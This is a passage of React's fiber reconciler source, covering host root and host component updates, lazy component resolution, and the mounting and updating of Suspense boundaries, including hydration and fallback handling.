StrictLegacyMode) {\n        setIsStrictModeForDevtools(true);\n        try {\n          callRenderInDEV(instance);\n        } finally {\n          setIsStrictModeForDevtools(false);\n        }\n      }\n    } else {\n      nextChildren = instance.render();\n    }\n    if (enableSchedulingProfiler) {\n      markComponentRenderStopped();\n    }\n  }\n\n  // React DevTools reads this flag.\n  workInProgress.flags |= PerformedWork;\n  if (current !== null && didCaptureError) {\n    // If we're recovering from an error, reconcile without reusing any of\n    // the existing children. Conceptually, the normal children and the children\n    // that are shown on error are two different sets, so we shouldn't reuse\n    // normal children even if their identities match.\n    forceUnmountCurrentAndReconcile(\n      current,\n      workInProgress,\n      nextChildren,\n      renderLanes,\n    );\n  } else {\n    reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  }\n\n  // Memoize state using the values we just used to render.\n  // TODO: Restructure so we never read values from the instance.\n  workInProgress.memoizedState = instance.state;\n\n  // The context might have changed so we need to recalculate it.\n  if (hasContext) {\n    invalidateContextProvider(workInProgress, Component, true);\n  }\n\n  return workInProgress.child;\n}\n\nfunction pushHostRootContext(workInProgress: Fiber) {\n  const root = (workInProgress.stateNode: FiberRoot);\n  if (root.pendingContext) {\n    pushTopLevelContextObject(\n      workInProgress,\n      root.pendingContext,\n      root.pendingContext !== root.context,\n    );\n  } else if (root.context) {\n    // Should always be set\n    pushTopLevelContextObject(workInProgress, root.context, false);\n  }\n  pushHostContainer(workInProgress, root.containerInfo);\n}\n\nfunction updateHostRoot(\n  current: null | Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  pushHostRootContext(workInProgress);\n\n  if (current === null) {\n    throw new Error('Should have a current fiber. This is a bug in React.');\n  }\n\n  const nextProps = workInProgress.pendingProps;\n  const prevState: RootState = workInProgress.memoizedState;\n  const prevChildren = prevState.element;\n  cloneUpdateQueue(current, workInProgress);\n  processUpdateQueue(workInProgress, nextProps, null, renderLanes);\n\n  const nextState: RootState = workInProgress.memoizedState;\n  const root: FiberRoot = workInProgress.stateNode;\n  pushRootTransition(workInProgress, root, renderLanes);\n\n  if (enableTransitionTracing) {\n    pushRootMarkerInstance(workInProgress);\n  }\n\n  const nextCache: Cache = nextState.cache;\n  pushCacheProvider(workInProgress, nextCache);\n  if (nextCache !== prevState.cache) {\n    // The root cache refreshed.\n    propagateContextChange(workInProgress, CacheContext, renderLanes);\n  }\n\n  // This would ideally go inside processUpdateQueue, but because it suspends,\n  // it needs to happen after the `pushCacheProvider` call above to avoid a\n  // context stack mismatch. A bit unfortunate.\n  suspendIfUpdateReadFromEntangledAsyncAction();\n\n  // Caution: React DevTools currently depends on this property\n  // being called \"element\".\n  const nextChildren = nextState.element;\n  if (supportsHydration && prevState.isDehydrated) {\n    // This is a hydration root whose shell has not yet hydrated. We should\n    // attempt to hydrate.\n\n    // Flip isDehydrated to false to indicate that when this render\n    // finishes, the root will no longer be dehydrated.\n    const overrideState: RootState = {\n      element: nextChildren,\n      isDehydrated: false,\n      cache: nextState.cache,\n    };\n    const updateQueue: UpdateQueue<RootState> =\n      (workInProgress.updateQueue: any);\n    // `baseState` can always be the last state because the root doesn't\n    // have reducer functions so it doesn't need rebasing.\n    updateQueue.baseState = overrideState;\n    workInProgress.memoizedState = overrideState;\n\n    if (workInProgress.flags & ForceClientRender) {\n      // Something errored during a previous attempt to hydrate the shell, so we\n      // forced a client render. We should have a recoverable error already scheduled.\n      return mountHostRootWithoutHydrating(\n        current,\n        workInProgress,\n        nextChildren,\n        renderLanes,\n      );\n    } else if (nextChildren !== prevChildren) {\n      const recoverableError = createCapturedValueAtFiber<mixed>(\n        new Error(\n          'This root received an early update, before anything was able ' +\n            'hydrate. Switched the entire root to client rendering.',\n        ),\n        workInProgress,\n      );\n      queueHydrationError(recoverableError);\n      return mountHostRootWithoutHydrating(\n        current,\n        workInProgress,\n        nextChildren,\n        renderLanes,\n      );\n    } else {\n      // The outermost shell has not hydrated yet. Start hydrating.\n      enterHydrationState(workInProgress);\n\n      const child = mountChildFibers(\n        workInProgress,\n        null,\n        nextChildren,\n        renderLanes,\n      );\n      workInProgress.child = child;\n\n      let node = child;\n      while (node) {\n        // Mark each child as hydrating. This is a fast path to know whether this\n        // tree is part of a hydrating tree. This is used to determine if a child\n        // node has fully mounted yet, and for scheduling event replaying.\n        // Conceptually this is similar to Placement in that a new subtree is\n        // inserted into the React tree here. It just happens to not need DOM\n        // mutations because it already exists.\n        node.flags = (node.flags & ~Placement) | Hydrating;\n        node = node.sibling;\n      }\n    }\n  } else {\n    // Root is not dehydrated. Either this is a client-only root, or it\n    // already hydrated.\n    resetHydrationState();\n    if (nextChildren === prevChildren) {\n      return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);\n    }\n    reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  }\n  return workInProgress.child;\n}\n\nfunction mountHostRootWithoutHydrating(\n  current: Fiber,\n  workInProgress: Fiber,\n  nextChildren: ReactNodeList,\n  renderLanes: Lanes,\n) {\n  // Revert to client rendering.\n  resetHydrationState();\n\n  workInProgress.flags |= ForceClientRender;\n\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updateHostComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  if (current === null) {\n    tryToClaimNextHydratableInstance(workInProgress);\n  }\n\n  pushHostContext(workInProgress);\n\n  const type = workInProgress.type;\n  const nextProps = workInProgress.pendingProps;\n  const prevProps = current !== null ? current.memoizedProps : null;\n\n  let nextChildren = nextProps.children;\n  const isDirectTextChild = shouldSetTextContent(type, nextProps);\n\n  if (isDirectTextChild) {\n    // We special case a direct text child of a host node. This is a common\n    // case. We won't handle it as a reified child. We will instead handle\n    // this in the host environment that also has access to this prop. That\n    // avoids allocating another HostText fiber and traversing it.\n    nextChildren = null;\n  } else if (prevProps !== null && shouldSetTextContent(type, prevProps)) {\n    // If we're switching from a direct text child to a normal child, or to\n    // empty, we need to schedule the text content to be reset.\n    workInProgress.flags |= ContentReset;\n  }\n\n  const memoizedState = workInProgress.memoizedState;\n  if (memoizedState !== null) {\n    // This fiber has been upgraded to a stateful component. The only way\n    // happens currently is for form actions. We use hooks to track the\n    // pending and error state of the form.\n    //\n    // Once a fiber is upgraded to be stateful, it remains stateful for the\n    // rest of its lifetime.\n    const newState = renderTransitionAwareHostComponentWithHooks(\n      current,\n      workInProgress,\n      renderLanes,\n    );\n\n    // If the transition state changed, propagate the change to all the\n    // descendents. We use Context as an implementation detail for this.\n    //\n    // We need to update it here because\n    // pushHostContext gets called before we process the state hook, to avoid\n    // a state mismatch in the event that something suspends.\n    //\n    // NOTE: This assumes that there cannot be nested transition providers,\n    // because the only renderer that implements this feature is React DOM,\n    // and forms cannot be nested. If we did support nested providers, then\n    // we would need to push a context value even for host fibers that\n    // haven't been upgraded yet.\n    if (isPrimaryRenderer) {\n      HostTransitionContext._currentValue = newState;\n    } else {\n      HostTransitionContext._currentValue2 = newState;\n    }\n  }\n\n  markRef(current, workInProgress);\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updateHostHoistable(\n  current: null | Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  markRef(current, workInProgress);\n\n  if (current === null) {\n    const resource = getResource(\n      workInProgress.type,\n      null,\n      workInProgress.pendingProps,\n      null,\n    );\n    if (resource) {\n      workInProgress.memoizedState = resource;\n    } else {\n      if (!getIsHydrating()) {\n        // This is not a Resource Hoistable and we aren't hydrating so we construct the instance.\n        workInProgress.stateNode = createHoistableInstance(\n          workInProgress.type,\n          workInProgress.pendingProps,\n          getRootHostContainer(),\n          workInProgress,\n        );\n      }\n    }\n  } else {\n    // Get Resource may or may not return a resource. either way we stash the result\n    // on memoized state.\n    workInProgress.memoizedState = getResource(\n      workInProgress.type,\n      current.memoizedProps,\n      workInProgress.pendingProps,\n      current.memoizedState,\n    );\n  }\n\n  // Resources never have reconciler managed children. It is possible for\n  // the host implementation of getResource to consider children in the\n  // resource construction but they will otherwise be discarded. In practice\n  // this precludes all but the simplest children and Host specific warnings\n  // should be implemented to warn when children are passsed when otherwise not\n  // expected\n  return null;\n}\n\nfunction updateHostSingleton(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  pushHostContext(workInProgress);\n\n  if (current === null) {\n    claimHydratableSingleton(workInProgress);\n  }\n\n  const nextChildren = workInProgress.pendingProps.children;\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  markRef(current, workInProgress);\n  if (current === null) {\n    // We mark Singletons with a static flag to more efficiently manage their\n    // ownership of the singleton host instance when in offscreen trees including Suspense\n    workInProgress.flags |= LayoutStatic;\n  }\n  return workInProgress.child;\n}\n\nfunction updateHostText(current: null | Fiber, workInProgress: Fiber) {\n  if (current === null) {\n    tryToClaimNextHydratableTextInstance(workInProgress);\n  }\n  // Nothing to do here. This is terminal. We'll do the completion step\n  // immediately after.\n  return null;\n}\n\nfunction mountLazyComponent(\n  _current: null | Fiber,\n  workInProgress: Fiber,\n  elementType: any,\n  renderLanes: Lanes,\n) {\n  resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress);\n\n  const props = workInProgress.pendingProps;\n  const lazyComponent: LazyComponentType<any, any> = elementType;\n  let Component = resolveLazy(lazyComponent);\n  // Store the unwrapped component in the type.\n  workInProgress.type = Component;\n\n  if (typeof Component === 'function') {\n    if (isFunctionClassComponent(Component)) {\n      const resolvedProps = resolveClassComponentProps(Component, props);\n      workInProgress.tag = ClassComponent;\n      if (__DEV__) {\n        workInProgress.type = Component =\n          resolveClassForHotReloading(Component);\n      }\n      return updateClassComponent(\n        null,\n        workInProgress,\n        Component,\n        resolvedProps,\n        renderLanes,\n      );\n    } else {\n      workInProgress.tag = FunctionComponent;\n      if (__DEV__) {\n        validateFunctionComponentInDev(workInProgress, Component);\n        workInProgress.type = Component =\n          resolveFunctionForHotReloading(Component);\n      }\n      return updateFunctionComponent(\n        null,\n        workInProgress,\n        Component,\n        props,\n        renderLanes,\n      );\n    }\n  } else if (Component !== undefined && Component !== null) {\n    const $$typeof = Component.$$typeof;\n    if ($$typeof === REACT_FORWARD_REF_TYPE) {\n      workInProgress.tag = ForwardRef;\n      if (__DEV__) {\n        workInProgress.type = Component =\n          resolveForwardRefForHotReloading(Component);\n      }\n      return updateForwardRef(\n        null,\n        workInProgress,\n        Component,\n        props,\n        renderLanes,\n      );\n    } else if ($$typeof === REACT_MEMO_TYPE) {\n      workInProgress.tag = MemoComponent;\n      return updateMemoComponent(\n        null,\n        workInProgress,\n        Component,\n        props,\n        renderLanes,\n      );\n    } else if ($$typeof === REACT_CONTEXT_TYPE) {\n      workInProgress.tag = ContextProvider;\n      workInProgress.type = Component;\n      return updateContextProvider(null, workInProgress, renderLanes);\n    }\n  }\n\n  let hint = '';\n  if (__DEV__) {\n    if (\n      Component !== null &&\n      typeof Component === 'object' &&\n      Component.$$typeof === REACT_LAZY_TYPE\n    ) {\n      hint = ' Did you wrap a component in React.lazy() more than once?';\n    }\n  }\n\n  const loggedComponent = getComponentNameFromType(Component) || Component;\n\n  // This message intentionally doesn't mention ForwardRef or MemoComponent\n  // because the fact that it's a separate type of work is an\n  // implementation detail.\n  throw new Error(\n    `Element type is invalid. Received a promise that resolves to: ${loggedComponent}. ` +\n      `Lazy element type must resolve to a class or function.${hint}`,\n  );\n}\n\nfunction mountIncompleteClassComponent(\n  _current: null | Fiber,\n  workInProgress: Fiber,\n  Component: any,\n  nextProps: any,\n  renderLanes: Lanes,\n) {\n  resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress);\n\n  // Promote the fiber to a class and try rendering again.\n  workInProgress.tag = ClassComponent;\n\n  // The rest of this function is a fork of `updateClassComponent`\n\n  // Push context providers early to prevent context stack mismatches.\n  // During mounting we don't know the child context yet as the instance doesn't exist.\n  // We will invalidate the child context in finishClassComponent() right after rendering.\n  let hasContext;\n  if (isLegacyContextProvider(Component)) {\n    hasContext = true;\n    pushLegacyContextProvider(workInProgress);\n  } else {\n    hasContext = false;\n  }\n  prepareToReadContext(workInProgress, renderLanes);\n\n  constructClassInstance(workInProgress, Component, nextProps);\n  mountClassInstance(workInProgress, Component, nextProps, renderLanes);\n\n  return finishClassComponent(\n    null,\n    workInProgress,\n    Component,\n    true,\n    hasContext,\n    renderLanes,\n  );\n}\n\nfunction validateFunctionComponentInDev(workInProgress: Fiber, Component: any) {\n  if (__DEV__) {\n    if (Component && Component.childContextTypes) {\n      console.error(\n        'childContextTypes cannot be defined on a function component.\\n' +\n          '  %s.childContextTypes = ...',\n        Component.displayName || Component.name || 'Component',\n      );\n    }\n\n    if (typeof Component.getDerivedStateFromProps === 'function') {\n      const componentName = getComponentNameFromType(Component) || 'Unknown';\n\n      if (!didWarnAboutGetDerivedStateOnFunctionComponent[componentName]) {\n        console.error(\n          '%s: Function components do not support getDerivedStateFromProps.',\n          componentName,\n        );\n        didWarnAboutGetDerivedStateOnFunctionComponent[componentName] = true;\n      }\n    }\n\n    if (\n      typeof Component.contextType === 'object' &&\n      Component.contextType !== null\n    ) {\n      const componentName = getComponentNameFromType(Component) || 'Unknown';\n\n      if (!didWarnAboutContextTypeOnFunctionComponent[componentName]) {\n        console.error(\n          '%s: Function components do not support contextType.',\n          componentName,\n        );\n        didWarnAboutContextTypeOnFunctionComponent[componentName] = true;\n      }\n    }\n  }\n}\n\nconst SUSPENDED_MARKER: SuspenseState = {\n  dehydrated: null,\n  treeContext: null,\n  retryLane: NoLane,\n  hydrationErrors: null,\n};\n\nfunction mountSuspenseOffscreenState(renderLanes: Lanes): OffscreenState {\n  return {\n    baseLanes: renderLanes,\n    cachePool: getSuspendedCache(),\n  };\n}\n\nfunction updateSuspenseOffscreenState(\n  prevOffscreenState: OffscreenState,\n  renderLanes: Lanes,\n): OffscreenState {\n  let cachePool: SpawnedCachePool | null = null;\n  const prevCachePool: SpawnedCachePool | null = prevOffscreenState.cachePool;\n  if (prevCachePool !== null) {\n    const parentCache = isPrimaryRenderer\n      ? CacheContext._currentValue\n      : CacheContext._currentValue2;\n    if (prevCachePool.parent !== parentCache) {\n      // Detected a refresh in the parent. This overrides any previously\n      // suspended cache.\n      cachePool = {\n        parent: parentCache,\n        pool: parentCache,\n      };\n    } else {\n      // We can reuse the cache from last time. The only thing that would have\n      // overridden it is a parent refresh, which we checked for above.\n      cachePool = prevCachePool;\n    }\n  } else {\n    // If there's no previous cache pool, grab the current one.\n    cachePool = getSuspendedCache();\n  }\n  return {\n    baseLanes: mergeLanes(prevOffscreenState.baseLanes, renderLanes),\n    cachePool,\n  };\n}\n\n// TODO: Probably should inline this back\nfunction shouldRemainOnFallback(\n  current: null | Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  // If we're already showing a fallback, there are cases where we need to\n  // remain on that fallback regardless of whether the content has resolved.\n  // For example, SuspenseList coordinates when nested content appears.\n  // TODO: For compatibility with offscreen prerendering, this should also check\n  // whether the current fiber (if it exists) was visible in the previous tree.\n  if (current !== null) {\n    const suspenseState: SuspenseState = current.memoizedState;\n    if (suspenseState === null) {\n      // Currently showing content. Don't hide it, even if ForceSuspenseFallback\n      // is true. More precise name might be \"ForceRemainSuspenseFallback\".\n      // Note: This is a factoring smell. Can't remain on a fallback if there's\n      // no fallback to remain on.\n      return false;\n    }\n  }\n\n  // Not currently showing content. Consult the Suspense context.\n  const suspenseContext: SuspenseContext = suspenseStackCursor.current;\n  return hasSuspenseListContext(\n    suspenseContext,\n    (ForceSuspenseFallback: SuspenseContext),\n  );\n}\n\nfunction getRemainingWorkInPrimaryTree(\n  current: Fiber | null,\n  primaryTreeDidDefer: boolean,\n  renderLanes: Lanes,\n) {\n  let remainingLanes =\n    current !== null ? removeLanes(current.childLanes, renderLanes) : NoLanes;\n  if (primaryTreeDidDefer) {\n    // A useDeferredValue hook spawned a deferred task inside the primary tree.\n    // Ensure that we retry this component at the deferred priority.\n    // TODO: We could make this a per-subtree value instead of a global one.\n    // Would need to track it on the context stack somehow, similar to what\n    // we'd have to do for resumable contexts.\n    remainingLanes = mergeLanes(remainingLanes, peekDeferredLane());\n  }\n  return remainingLanes;\n}\n\nfunction updateSuspenseComponent(\n  current: null | Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  const nextProps: SuspenseProps = workInProgress.pendingProps;\n\n  // This is used by DevTools to force a boundary to suspend.\n  if (__DEV__) {\n    if (shouldSuspend(workInProgress)) {\n      workInProgress.flags |= DidCapture;\n    }\n  }\n\n  let showFallback = false;\n  const didSuspend = (workInProgress.flags & DidCapture) !== NoFlags;\n  if (\n    didSuspend ||\n    shouldRemainOnFallback(current, workInProgress, renderLanes)\n  ) {\n    // Something in this boundary's subtree already suspended. Switch to\n    // rendering the fallback children.\n    showFallback = true;\n    workInProgress.flags &= ~DidCapture;\n  }\n\n  // Check if the primary children spawned a deferred task (useDeferredValue)\n  // during the first pass.\n  const didPrimaryChildrenDefer = (workInProgress.flags & DidDefer) !== NoFlags;\n  workInProgress.flags &= ~DidDefer;\n\n  // OK, the next part is confusing. We're about to reconcile the Suspense\n  // boundary's children. This involves some custom reconciliation logic. Two\n  // main reasons this is so complicated.\n  //\n  // First, Legacy Mode has different semantics for backwards compatibility. The\n  // primary tree will commit in an inconsistent state, so when we do the\n  // second pass to render the fallback, we do some exceedingly, uh, clever\n  // hacks to make that not totally break. Like transferring effects and\n  // deletions from hidden tree. In Concurrent Mode, it's much simpler,\n  // because we bailout on the primary tree completely and leave it in its old\n  // state, no effects. Same as what we do for Offscreen (except that\n  // Offscreen doesn't have the first render pass).\n  //\n  // Second is hydration. During hydration, the Suspense fiber has a slightly\n  // different layout, where the child points to a dehydrated fragment, which\n  // contains the DOM rendered by the server.\n  //\n  // Third, even if you set all that aside, Suspense is like error boundaries in\n  // that we first we try to render one tree, and if that fails, we render again\n  // and switch to a different tree. Like a try/catch block. So we have to track\n  // which branch we're currently rendering. Ideally we would model this using\n  // a stack.\n  if (current === null) {\n    // Initial mount\n\n    // Special path for hydration\n    // If we're currently hydrating, try to hydrate this boundary.\n    if (getIsHydrating()) {\n      // We must push the suspense handler context *before* attempting to\n      // hydrate, to avoid a mismatch in case it errors.\n      if (showFallback) {\n        pushPrimaryTreeSuspenseHandler(workInProgress);\n      } else {\n        pushFallbackTreeSuspenseHandler(workInProgress);\n      }\n      // This throws if we fail to hydrate.\n      const dehydrated: SuspenseInstance =\n        claimNextHydratableSuspenseInstance(workInProgress);\n      return mountDehydratedSuspenseComponent(\n        workInProgress,\n        dehydrated,\n        renderLanes,\n      );\n    }\n\n    const nextPrimaryChildren = nextProps.children;\n    const nextFallbackChildren = nextProps.fallback;\n\n    if (showFallback) {\n      pushFallbackTreeSuspenseHandler(workInProgress);\n\n      mountSuspenseFallbackChildren(\n        workInProgress,\n        nextPrimaryChildren,\n        nextFallbackChildren,\n        renderLanes,\n      );\n      const primaryChildFragment: Fiber = (workInProgress.child: any);\n      primaryChildFragment.memoizedState =\n        mountSuspenseOffscreenState(renderLanes);\n      primaryChildFragment.childLanes = getRemainingWorkInPrimaryTree(\n        current,\n        didPrimaryChildrenDefer,\n        renderLanes,\n      );\n      workInProgress.memoizedState = SUSPENDED_MARKER;\n      if (enableTransitionTracing) {\n        const currentTransitions = getPendingTransitions();\n        if (currentTransitions !== null) {\n          const parentMarkerInstances = getMarkerInstances();\n          const offscreenQueue: OffscreenQueue | null =\n            (primaryChildFragment.updateQueue: any);\n          if (offscreenQueue === null) {\n            const newOffscreenQueue: OffscreenQueue = {\n              transitions: currentTransitions,\n              markerInstances: parentMarkerInstances,\n              retryQueue: null,\n            };\n            primaryChildFragment.updateQueue = newOffscreenQueue;\n          } else {\n            offscreenQueue.transitions = currentTransitions;\n            offscreenQueue.markerInstances = parentMarkerInstances;\n          }\n        }\n      }\n\n      return bailoutOffscreenComponent(null, primaryChildFragment);\n    } else if (enableCPUSuspense && nextProps.defer === true) {\n      // This is a CPU-bound tree. Skip this tree and show a placeholder to\n      // unblock the surrounding content. Then immediately retry after the\n      // initial commit.\n      pushFallbackTreeSuspenseHandler(workInProgress);\n      mountSuspenseFallbackChildren(\n        workInProgress,\n        nextPrimaryChildren,\n        nextFallbackChildren,\n        renderLanes,\n      );\n      const primaryChildFragment: Fiber = (workInProgress.child: any);\n      primaryChildFragment.memoizedState =\n        mountSuspenseOffscreenState(renderLanes);\n      primaryChildFragment.childLanes = getRemainingWorkInPrimaryTree(\n        current,\n        didPrimaryChildrenDefer,\n        renderLanes,\n      );\n      workInProgress.memoizedState = SUSPENDED_MARKER;\n\n      // TODO: Transition Tracing is not yet implemented for CPU Suspense.\n\n      // Since nothing actually suspended, there will nothing to ping this to\n      // get it started back up to attempt the next item. While in terms of\n      // priority this work has the same priority as this current render, it's\n      // not part of the same transition once the transition has committed. If\n      // it's sync, we still want to yield so that it can be painted.\n      // Conceptually, this is really the same as pinging. We can use any\n      // RetryLane even if it's the one currently rendering since we're leaving\n      // it behind on this node.\n      workInProgress.lanes = SomeRetryLane;\n      return bailoutOffscreenComponent(null, primaryChildFragment);\n    } else {\n      pushPrimaryTreeSuspenseHandler(workInProgress);\n      return mountSuspensePrimaryChildren(\n        workInProgress,\n        nextPrimaryChildren,\n        renderLanes,\n      );\n    }\n  } else {\n    // This is an update.\n\n    // Special path for hydration\n    const prevState: null | SuspenseState = current.memoizedState;\n    if (prevState !== null) {\n      const dehydrated = prevState.dehydrated;\n      if (dehydrated !== null) {\n        return updateDehydratedSuspenseComponent(\n          current,\n          workInProgress,\n          didSuspend,\n          didPrimaryChildrenDefer,\n          nextProps,\n          dehydrated,\n          prevState,\n          renderLanes,\n        );\n      }\n    }\n\n    if (showFallback) {\n      pushFallbackTreeSuspenseHandler(workInProgress);\n\n      const nextFallbackChildren = nextProps.fallback;\n      const nextPrimaryChildren = nextProps.children;\n      updateSuspenseFallbackChildren(\n        current,\n        workInProgress,\n        nextPrimaryChildren,\n        nextFallbackChildren,\n        renderLanes,\n      );\n      const primaryChildFragment: Fiber = (workInProgress.child: any);\n      const prevOffscreenState: OffscreenState | null = (current.child: any)\n        .memoizedState;\n      primaryChildFragment.memoizedState =\n        prevOffscreenState === null\n          ? mountSuspenseOffscreenState(renderLanes)\n          : updateSuspenseOffscreenState(prevOffscreenState, renderLanes);\n      if (enableTransitionTracing) {\n        const currentTransitions = getPendingTransitions();\n        if (currentTransitions !== null) {\n          const parentMarkerInstances = getMarkerInstances();\n          const offscreenQueue: OffscreenQueue | null =\n            (primaryChildFragment.updateQueue: any);\n          const currentOffscreenQueue: OffscreenQueue | null =\n            (current.updateQueue: any);\n          if (offscreenQueue === null) {\n            const newOffscreenQueue: OffscreenQueue = {\n              transitions: currentTransitions,\n              markerInstances: parentMarkerInstances,\n              retryQueue: null,\n            };\n            primaryChildFragment.updateQueue = newOffscreenQueue;\n          } else if (offscreenQueue === currentOffscreenQueue) {\n            // If the work-in-progress queue is the same object as current, we\n            // can't modify it without cloning it first.\n            const newOffscreenQueue: OffscreenQueue = {\n              transitions: currentTransitions,\n              markerInstances: parentMarkerInstances,\n              retryQueue:\n                currentOffscreenQueue !== null\n                  ? currentOffscreenQueue.retryQueue\n                  : null,\n            };\n            primaryChildFragment.updateQueue = newOffscreenQueue;\n          } else {\n            offscreenQueue.transitions = currentTransitions;\n            offscreenQueue.markerInstances = parentMarkerInstances;\n          }\n        }\n      }\n      primaryChildFragment.childLanes = getRemainingWorkInPrimaryTree(\n        current,\n        didPrimaryChildrenDefer,\n        renderLanes,\n      );\n      workInProgress.memoizedState = SUSPENDED_MARKER;\n      return bailoutOffscreenComponent(current.child, primaryChildFragment);\n    } else {\n      if (\n        prevState !== null &&\n        includesOnlyRetries(renderLanes) &&\n        includesSomeLane(renderLanes, current.lanes)\n      ) {\n        // If we're rendering Retry lanes and we're entering the primary content then it's possible\n        // that the only reason we rendered was because we left this boundary to be warmed up but\n        // nothing else scheduled an update. If so, use it as the cause of the render.\n        markRenderDerivedCause(workInProgress);\n      }\n\n      pushPrimaryTreeSuspenseHandler(workInProgress);\n\n      const nextPrimaryChildren = nextProps.children;\n      const primaryChildFragment = updateSuspensePrimaryChildren(\n        current,\n        workInProgress,\n        nextPrimaryChildren,\n        renderLanes,\n      );\n      workInProgress.memoizedState = null;\n      return primaryChildFragment;\n    }\n  }\n}\n\nfunction mountSuspensePrimaryChildren(\n  workInProgress: Fiber,\n  primaryChildren: $FlowFixMe,\n  renderLanes: Lanes,\n) {\n  const mode = workInProgress.mode;\n  const primaryChildProps: OffscreenProps = {\n    mode: 'visible',\n    children: primaryChildren,\n  };\n  const primaryChildFragment = mountWorkInProgressOffscreenFiber(\n    primaryChildProps,\n    mode,\n    renderLanes,\n  );\n  primaryChildFragment.return = workInProgress;\n  workInProgress.child = primaryChildFragment;\n  return primaryChildFragment;\n}\n\nfunction mountSuspenseFallbackChildren(\n  workInProgress: Fiber,\n  primaryChildren: $FlowFixMe,\n  fallbackChildren: $FlowFixMe,\n  renderLanes: Lanes,\n) {\n  const mode = workInProgress.mode;\n  const progressedPrimaryFragment: Fiber | null = workInProgress.child;\n\n  const primaryChildProps: OffscreenProps = {\n    mode: 'hidden',\n    children: primaryChildren,\n  };\n\n  let primaryChildFragment;\n  let fallbackChildFragment;\n  if (\n    !disableLegacyMode &&\n    (mode & ConcurrentMode) === NoMode &&\n    progressedPrimaryFragment !== null\n  ) {\n    // In legacy mode, we commit the primary tree as if it successfully\n    // completed, even though it's in an inconsistent state.\n    primaryChildFragment = progressedPrimaryFragment;\n    primaryChildFragment.childLanes = NoLanes;\n    primaryChildFragment.pendingProps = primaryChildProps;\n\n    if (enableProfilerTimer && workInProgress.mode & ProfileMode) {\n      // Reset the durations from the first pass so they aren't included in the\n      // final amounts. This seems counterintuitive, since we're intentionally\n      // not measuring part of the render phase, but this makes it match what we\n      // do in Concurrent Mode.\n      primaryChildFragment.actualDuration = -0;\n      primaryChildFragment.actualStartTime = -1.1;\n      primaryChildFragment.selfBaseDuration = -0;\n      primaryChildFragment.treeBaseDuration = -0;\n    }\n\n    fallbackChildFragment = createFiberFromFragment(\n      fallbackChildren,\n      mode,\n      renderLanes,\n      null,\n    );\n  } else {\n    primaryChildFragment = mountWorkInProgressOffscreenFiber(\n      primaryChildProps,\n      mode,\n      NoLanes,\n    );\n    fallbackChildFragment = createFiberFromFragment(\n      fallbackChildren,\n      mode,\n      renderLanes,\n      null,\n    );\n  }\n\n  primaryChildFragment.return = workInProgress;\n  fallbackChildFragment.return = workInProgress;\n  primaryChildFragment.sibling = fallbackChildFragment;\n  workInProgress.child = primaryChildFragment;\n  return fallbackChildFragment;\n}\n\nfunction mountWorkInProgressOffscreenFiber(\n  offscreenProps: OffscreenProps,\n  mode: TypeOfMode,\n  renderLanes: Lanes,\n) {\n  // The props argument to `createFiberFromOffscreen` is `any` typed, so we use\n  // this wrapper function to constrain it.\n  return createFiberFromOffscreen(offscreenProps, mode, NoLanes, null);\n}\n\nfunction updateWorkInProgressOffscreenFiber(\n  current: Fiber,\n  offscreenProps: OffscreenProps,\n) {\n  // The props argument to `createWorkInProgress` is `any` typed, so we use this\n  // wrapper function to constrain it.\n  return createWorkInProgress(current, offscreenProps);\n}\n\nfunction updateSuspensePrimaryChildren(\n  current: Fiber,\n  workInProgress: Fiber,\n  primaryChildren: $FlowFixMe,\n  renderLanes: Lanes,\n) {\n  const currentPrimaryChildFragment: Fiber = (current.child: any);\n  const currentFallbackChildFragment: Fiber | null =\n    currentPrimaryChildFragment.sibling;\n\n  const primaryChildFragment = updateWorkInProgressOffscreenFiber(\n    currentPrimaryChildFragment,\n    {\n      mode: 'visible',\n      children: primaryChildren,\n    },\n  );\n  if (!disableLegacyMode && (workInProgress.mode & ConcurrentMode) === NoMode) {\n    primaryChildFragment.lanes = renderLanes;\n  }\n  primaryChildFragment.return = workInProgress;\n  primaryChildFragment.sibling = null;\n  if (currentFallbackChildFragment !== null) {\n    // Delete the fallback child fragment\n    const deletions = workInProgress.deletions;\n    if (deletions === null) {\n      workInProgress.deletions = [currentFallbackChildFragment];\n      workInProgress.flags |= ChildDeletion;\n    } else {\n      deletions.push(currentFallbackChildFragment);\n    }\n  }\n\n  workInProgress.child = primaryChildFragment;\n  return primaryChildFragment;\n}\n\nfunction updateSuspenseFallbackChildren(\n  current: Fiber,\n  workInProgress: Fiber,\n  primaryChildren: $FlowFixMe,\n  fallbackChildren: $FlowFixMe,\n  renderLanes: Lanes,\n) {\n  const mode = workInProgress.mode;\n  const currentPrimaryChildFragment: Fiber = (current.child: any);\n  const currentFallbackChildFragment: Fiber | null =\n    currentPrimaryChildFragment.sibling;\n\n  const primaryChildProps: OffscreenProps = {\n    mode: 'hidden',\n    children: primaryChildren,\n  };\n\n  let primaryChildFragment;\n  if (\n    // In legacy mode, we commit the primary tree as if it successfully\n    // completed, even though it's in an inconsistent state.\n    !disableLegacyMode &&\n    (mode & ConcurrentMode) === NoMode &&\n    // Make sure we're on the second pass, i.e. the primary child fragment was\n    // already cloned. In legacy mode, the only case where this isn't true is\n    // when DevTools forces us to display a fallback; we skip the first render\n    // pass entirely and go straight to rendering the fallback. (In Concurrent\n    // Mode, SuspenseList can also trigger this scenario, but this is a legacy-\n    // only codepath.)\n    workInProgress.child !== currentPrimaryChildFragment\n  ) {\n    const progressedPrimaryFragment: Fiber = (workInProgress.child: any);\n    primaryChildFragment = progressedPrimaryFragment;\n    primaryChildFragment.childLanes = NoLanes;\n    primaryChildFragment.pendingProps = primaryChildProps;\n\n    if (enableProfilerTimer && workInProgress.mode & ProfileMode) {\n      // Reset the durations from the first pass so they aren't included in the\n 